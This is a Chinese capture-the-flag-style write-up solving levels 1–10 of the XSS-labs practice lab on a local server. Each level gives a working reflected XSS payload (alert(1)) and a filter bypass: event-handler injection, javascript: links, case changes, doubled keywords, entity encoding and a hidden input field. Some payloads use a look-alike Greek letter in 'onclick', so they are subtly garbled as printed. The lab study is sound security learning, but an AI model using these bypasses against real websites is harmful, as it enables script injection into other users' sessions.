XSSlab闯关记录(1~10关)

第一关

查看第一关源代码发现直接将用户的参数显示,没有任何防护措施,构造payload:

127.0.0.1/xss/xss-labs-master/level1.php?name=<script>alert(1)</script> 

 

成功

 

第二关 

 查看第二关源代码,发现使用htmlspecialchars()函数将输入进行了实体转换。把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体

 输入javascipt:“alert(1)”,发现value处没有进行转义,找到注入点,需要闭合前面的“,构造payload:

http://127.0.0.1/xss/xss-labs-master/level2.php?keyword="οnclick="alert(1)&submit=搜索

 成功

 

第三关

 

 输入'οnclick="alert(1)"//,发现上下两处都被转义。那就不用<>"等字符。

构造payload:'οnclick=javascript:alert(1)//

 成功

 第四关

 输入sss<>"  发现下面的双引号没有屏蔽 但尖括号被屏蔽

构造payload:"οnclick="alert(1)

 成功

查看源码,发现只是对尖括号进行了替换

 

 第五关

输入<>",发现他们都可以正常显示。

构造payload:"οnclick="alert(1)

 

 失败,发现on之间加了下划线

查看源码,网站对on和script进行了处理

构造payload:

"><a href="javascript:alert(1)">

成功

 

 

 第六关

查看源码,发现对更多的符号进行了处理,所以不能使用上一关的href作为payload 

 

尝试大小写绕过,构造payload:

"ONclick="alert(1) 

 成功

第七关 

查看源码,发现对敏感字符串进行了替换为空的操作,那就很明显使用双写绕过即可。、

构造payload:

"oonnclick="alert(1) 

 成功

 

 第八关

 查看网页源码,发现几乎所以的敏感字符都被过滤,且忽略大小写,加下划线,所以不能用大小写绕过和双写绕过。

 尝试实体字符编码绕过,将javascript:alert(1)进行实体字符编码

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

成功 

第九关 

查看网页源码,发现比上一关多了http://的校验

构造payload:javascript:alert(1)//http://

html实体字符转换:&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

中间的//目的是把http://注释掉,否则无法弹窗 

成功

 

第十关

首先输入<>",发现页面回显只有一处,并进行了转义,无法注入。但下面发现了隐藏属性的input框,可以尝试注入。 

 

 源码中t_sort参数进行了回显,注入点找到。

 

构造payload:

http://127.0.0.1/xss/xss-labs-master/level10.php?keyword=111&t_sort="οnmοuseοver="alert(1)

 这里需要f12之后将hidden属性删除。

成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值